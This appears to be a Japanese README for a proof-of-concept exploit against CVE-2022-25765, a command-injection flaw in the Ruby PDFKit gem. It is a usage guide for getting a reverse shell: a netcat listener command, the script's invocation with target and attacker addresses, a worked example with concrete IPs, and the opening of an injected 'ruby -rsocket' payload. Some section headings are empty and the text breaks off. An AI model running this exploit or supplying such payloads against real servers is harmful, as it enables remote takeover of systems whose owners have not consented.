
CVE-2022-25765 のエクスプロイト
CVE-2022-25765 用の小さな POC エクスプロイト、PDFkit-CMD-Injection
攻撃マシンで netcat リスナーを起動します:
nc -lvnp 4444
エクスプロイトを実行します:
python cve-2022-25765.py -t http://TARGET_IP:PORT -l YOUR_IP -p YOUR_PORT
例:
python cve-2022-25765.py -t http://10.40.11.43:80 -l 10.10.14.12 -p 4444
パラメータ:
-t, --target: 脆弱な PDFKit が動作しているターゲットURL-l, --lhost: リバースシェル接続用のあなたのIPアドレス-p, --lport: リバースシェル接続用のあなたのポート (netcat リスナーと一致する必要があります)CVE ID: CVE-2022-25765
CVSS v3.1 スコア: 9.8 (緊急)
EPSS スコア: 71.381% (99パーセンタイル)
CWE: CWE-77 - コマンドで使用される特殊要素の不適切な無効化
PDFKit は、wkhtmltopdf コマンドラインツールを使用して HTML を PDF に変換する Ruby gem です。この脆弱性は、PDFKit が PDF 生成のために URL パラメータをシステムシェルコマンドに渡す前の処理方法に存在します。
脆弱性は lib/pdfkit/source.rb に存在し、URL のサニタイズが適切に実装されていません:
def shell_safe_url
url_needs_escaping? ? URI::DEFAULT_PARSER.escape(@source) : @source
end
問題点:
攻撃ベクトル:
この PoC は以下の方法で脆弱性を悪用します:
http://ATTACKER_IP:PORT/?name=%20` ruby -rsocket...`'ターゲットシステム上: